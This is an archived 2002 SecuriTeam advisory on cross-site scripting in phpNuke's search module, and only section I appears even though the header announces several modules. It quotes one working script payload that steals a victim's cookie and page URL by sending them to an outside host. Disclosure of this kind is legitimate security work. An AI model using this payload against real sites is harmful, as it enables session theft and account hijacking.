

[NEWS] Multiple phpNuke Modules Vulnerable to Cross-Site Scripting

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0087.html>

From: support@securiteam.com

Date: 11/24/02

From: support@securiteam.com

To: list@securiteam.com

Date: 24 Nov 2002 22:23:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Multiple phpNuke Modules Vulnerable to Cross-Site Scripting

SUMMARY

phpNuke is a popular, and very complex content manager that runs on UNIX, Mac, and Windows systems with a MySQL or similar backend database. Many of the content manager's modules contain serious vulnerabilities that allow attackers to hijack or disable user accounts, and possibly gain administrative privileges. Gaining such privileges could likely assist further compromise of the susceptible system.

DETAILS

Vulnerable systems:

- * phpNuke 6.5b1 and prior

I. Search Module Vulnerability

The search module of phpNuke applies absolutely no filtering at all when returning the "Results for x..." page, and as a result is susceptible to cross-site scripting via a simple query such as:

```
<SCR*IPT>location.href="http://www.techie.hopto.org/fetch.php?email=mattmurphy@kc.rr.com&ref="+document.URL+"cookie="+document.cookie;
```


Securiteam: [NEWS] Multiple phpNuke Modules Vulnerable to Cross-Site Scripting

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.